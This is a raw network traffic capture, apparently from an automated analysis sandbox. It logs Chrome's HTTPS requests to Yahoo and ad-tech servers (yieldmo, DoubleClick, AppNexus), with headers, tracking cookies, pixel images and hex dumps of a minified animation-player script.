2024-04-27 22:42:09 UTC	607	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:42:09 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: GET Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:09 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	50114	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	1487	OUT	POST /p?&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&cobrand=none&colo=bf1&device=desktop&lang=en-US&lu=0&region=US&site=fp&ver=megastrm&pt=home&spaceid=2023538075&yrid=1sbetl5j2qvpa&outcm=prebidDebug&eventType=bidWon&adUnit=us_yhp_main_dt_as_mid_right_a&bidder=yieldmo HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:09 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	50118	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	633	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/player.js HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:09 UTC	848	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: application/x-javascript Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 350236 Date: Sat, 27 Apr 2024 22:42:09 GMT Expires: Sun, 27 Apr 2025 22:42:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:09 UTC	407	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 5b 22 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 22 5d 3d 7b 7d 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 Data Ascii: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self)["lottie-player"]={})}(this,(function(exports){"use strict";f
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 74 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 74 7d 29 28 74 29 7d 76 61 72 20 52 45 41 43 54 5f 45 4c 45 4d 45 4e 54 5f 54 59 50 45 3b 66 75 6e 63 74 69 6f 6e 20 5f 6a 73 78 28 74 2c 65 2c 72 2c 69 29 7b 52 45 41 43 54 5f 45 4c 45 4d 45 4e 54 5f 54 59 50 45 7c 7c 28 52 45 41 43 54 5f 45 4c 45 4d 45 4e 54 5f 54 59 50 45 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 66 6f 72 26 26 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 65 6c 65 6d 65 6e 74 22 29 7c 7c 36 30 31 30 33 29 3b 76 61 72 20 61 3d Data Ascii: on"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var REACT_ELEMENT_TYPE;function _jsx(t,e,r,i){REACT_ELEMENT_TYPE\|\|(REACT_ELEMENT_TYPE="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")\|\|60103);var a=
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 72 65 6a 65 63 74 28 61 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 65 2e 72 65 73 6f 6c 76 65 28 7b 76 61 6c 75 65 3a 61 2c 64 6f 6e 65 3a 21 31 7d 29 7d 28 65 3d 65 2e 6e 65 78 74 29 3f 69 28 65 2e 6b 65 79 2c 65 2e 61 72 67 29 3a 72 3d 6e 75 6c 6c 7d 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 73 2c 6e 29 7b 76 61 72 20 6f 3d 7b 6b 65 79 3a 74 2c 61 72 67 3a 61 2c 72 65 73 6f 6c 76 65 3a 73 2c 72 65 6a 65 63 74 3a 6e 2c 6e 65 78 74 3a 6e 75 6c 6c 7d 3b 72 3f 72 3d 72 2e 6e 65 78 74 3d 6f 3a 28 65 3d 72 3d 6f 2c 69 28 74 2c 61 29 29 7d 29 29 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 2e 72 65 74 75 72 6e Data Ascii: reject(a);break;default:e.resolve({value:a,done:!1})}(e=e.next)?i(e.key,e.arg):r=null}this._invoke=function(t,a){return new Promise((function(s,n){var o={key:t,arg:a,resolve:s,reject:n,next:null};r?r=r.next=o:(e=r=o,i(t,a))}))},"function"!=typeof t.return
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 61 2c 6e 2c 6f 2c 22 74 68 72 6f 77 22 2c 74 29 7d 6e 28 76 6f 69 64 20 30 29 7d 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 63 6c 61 73 73 43 61 6c 6c 43 68 65 63 6b 28 74 2c 65 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 72 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d Data Ascii: a,n,o,"throw",t)}n(void 0)}))}}function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function _defineProperties(t,e){for(var r=0;r<e.length;r++){var i=e[r];i.enumerable=i.enumerable\|\|!1,i.configurable=
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 69 29 26 26 28 74 5b 69 5d 3d 72 5b 69 5d 29 7d 72 65 74 75 72 6e 20 74 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 6f 62 6a 65 63 74 53 70 72 65 61 64 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 72 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3f 4f 62 6a 65 63 74 28 61 72 67 75 6d 65 6e 74 73 5b 65 5d 29 3a 7b 7d 2c 69 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 Data Ascii: in r)Object.prototype.hasOwnProperty.call(r,i)&&(t[i]=r[i])}return t}).apply(this,arguments)}function _objectSpread(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?Object(arguments[e]):{},i=Object.keys(r);"function"==typeof Object.getOwnPr
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 5f 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 28 74 2c 65 29 7b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 2e 70 72 6f 74 6f 74 79 70 65 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 74 2c 5f 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 7b 72 65 74 75 72 6e 28 5f 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 Data Ascii: uctor:{value:t,writable:!0,configurable:!0}}),e&&_setPrototypeOf(t,e)}function _inheritsLoose(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,_setPrototypeOf(t,e)}function _getPrototypeOf(t){return(_getPrototypeOf=Object.setPrototype
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 7b 69 66 28 65 2e 68 61 73 28 74 29 29 72 65 74 75 72 6e 20 65 2e 67 65 74 28 74 29 3b 65 2e 73 65 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 5f 63 6f 6e 73 74 72 75 63 74 28 74 2c 61 72 67 75 6d 65 6e 74 73 2c 5f 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 7d 72 65 74 75 72 6e 20 72 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 Data Ascii: w new TypeError("Super expression must either be null or a function");if(void 0!==e){if(e.has(t))return e.get(t);e.set(t,r)}function r(){return _construct(t,arguments,_getPrototypeOf(this).constructor)}return r.prototype=Object.create(t.prototype,{constru
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 6f 62 6a 65 63 74 44 65 73 74 72 75 63 74 75 72 69 6e 67 45 6d 70 74 79 28 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 64 65 73 74 72 75 63 74 75 72 65 20 75 6e 64 65 66 69 6e 65 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 6f 62 6a 65 63 74 57 69 74 68 6f 75 74 50 72 6f 70 65 72 74 69 65 73 4c 6f 6f 73 65 28 74 2c 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 72 2c 69 2c 61 3d 7b 7d 2c 73 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 3b 66 6f 72 28 69 3d 30 3b 69 3c 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 3d 73 5b 69 5d 2c 65 2e 69 6e 64 65 78 4f 66 28 72 29 3e 3d 30 7c 7c 28 61 5b 72 Data Ascii: nction")}function _objectDestructuringEmpty(t){if(null==t)throw new TypeError("Cannot destructure undefined")}function _objectWithoutPropertiesLoose(t,e){if(null==t)return{};var r,i,a={},s=Object.keys(t);for(i=0;i<s.length;i++)r=s[i],e.indexOf(r)>=0\|\|(a[r
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 65 6f 66 20 52 65 66 6c 65 63 74 26 26 52 65 66 6c 65 63 74 2e 67 65 74 3f 52 65 66 6c 65 63 74 2e 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 69 3d 5f 73 75 70 65 72 50 72 6f 70 42 61 73 65 28 74 2c 65 29 3b 69 66 28 69 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 69 2c 65 29 3b 72 65 74 75 72 6e 20 61 2e 67 65 74 3f 61 2e 67 65 74 2e 63 61 6c 6c 28 72 29 3a 61 2e 76 61 6c 75 65 7d 7d 29 28 74 2c 65 2c 72 7c 7c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 28 74 2c 65 2c 72 2c 69 29 7b 72 65 74 75 72 6e 28 73 65 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 26 26 52 65 66 6c 65 63 74 2e 73 65 74 3f 52 65 66 6c 65 Data Ascii: eof Reflect&&Reflect.get?Reflect.get:function(t,e,r){var i=_superPropBase(t,e);if(i){var a=Object.getOwnPropertyDescriptor(i,e);return a.get?a.get.call(r):a.value}})(t,e,r\|\|t)}function set(t,e,r,i){return(set="undefined"!=typeof Reflect&&Reflect.set?Refle
2024-04-27 22:42:09 UTC	1255	IN	Data Raw: 6e 20 5f 74 65 6d 70 6f 72 61 6c 52 65 66 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 5f 74 65 6d 70 6f 72 61 6c 55 6e 64 65 66 69 6e 65 64 3f 5f 74 64 7a 28 65 29 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 73 6c 69 63 65 64 54 6f 41 72 72 61 79 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 5f 61 72 72 61 79 57 69 74 68 48 6f 6c 65 73 28 74 29 7c 7c 5f 69 74 65 72 61 62 6c 65 54 6f 41 72 72 61 79 4c 69 6d 69 74 28 74 2c 65 29 7c 7c 5f 75 6e 73 75 70 70 6f 72 74 65 64 49 74 65 72 61 62 6c 65 54 6f 41 72 72 61 79 28 74 2c 65 29 7c 7c 5f 6e 6f 6e 49 74 65 72 61 62 6c 65 52 65 73 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 73 6c 69 63 65 64 54 6f 41 72 72 61 79 4c 6f 6f 73 65 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 5f 61 72 72 61 79 57 69 74 68 48 6f 6c 65 73 28 74 Data Ascii: n _temporalRef(t,e){return t===_temporalUndefined?_tdz(e):t}function _slicedToArray(t,e){return _arrayWithHoles(t)\|\|_iterableToArrayLimit(t,e)\|\|_unsupportedIterableToArray(t,e)\|\|_nonIterableRest()}function _slicedToArrayLoose(t,e){return _arrayWithHoles(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	50119	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	1546	OUT	GET /setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifX19
2024-04-27 22:42:09 UTC	1105	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:09 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:09 GMT x-envoy-upstream-service-time: 4 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:09 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	50120	68.67.160.117	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	2760	OUT	GET /ab?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QKHDvBMBwcAAAMA1gAFAQi3_rWxBhD1556Ezbep80wY3s-3-_Wh4JRTKjYJ5Rk09E9w3T8RbP2hVwuF1T8ZAAAAgOtRH0AhbP2hVwuF1T8p4xkJJAQxAAUBuPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBAQbwPpgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaQEUFDk0NjQzORUULGcnLCAyNTQ1MzQ4NxUVLGMnLCA2MDUzNDE5MhUVMHInLCA1MTAyNDMyMjAFFvReAZIClQUhX29hM0lBaXcyLTRjRUpUanB2TUJHQUFnanBhWEFUQUJPQUJBQUVpVWRsQ0s0dGtLV0FCZ3JnTm9BSEFFZU1RUGdBRU1pQUhFRDVBQkFaZ0JBYUFCQXFnQkFyQUJBTGtCcm92MGwxMXczVF9CQWE2TDlKZGRjTjBfeVFFQUFBQUE1VWpxUDlrQkFBQUFBQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnQUFBQUM5QWdBQUFBREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQUFBQUFBQUFESkJBQUFBQQHOEEFBMFFRCQkoTUFoUU5nRUFQRUUJEQEBIENJQlp3anFRVQENATwQd1A3RUYBCgkBCERCQg0_AQEAeRUoDEFBUU4yKAAAWhUoSFBBXzRBV3U1d0xxQlNZSUF4SWkBWfBlNnRaUnN [TRUNCATED] Host: nym1-ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:09 UTC	1197	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 11431 Connection: close Vary: Accept-Encoding Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness X-Creative-ID: 510243220 AN-X-Request-Uuid: 701344a7-f7b4-463a-b9df-d67742592b0a Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; 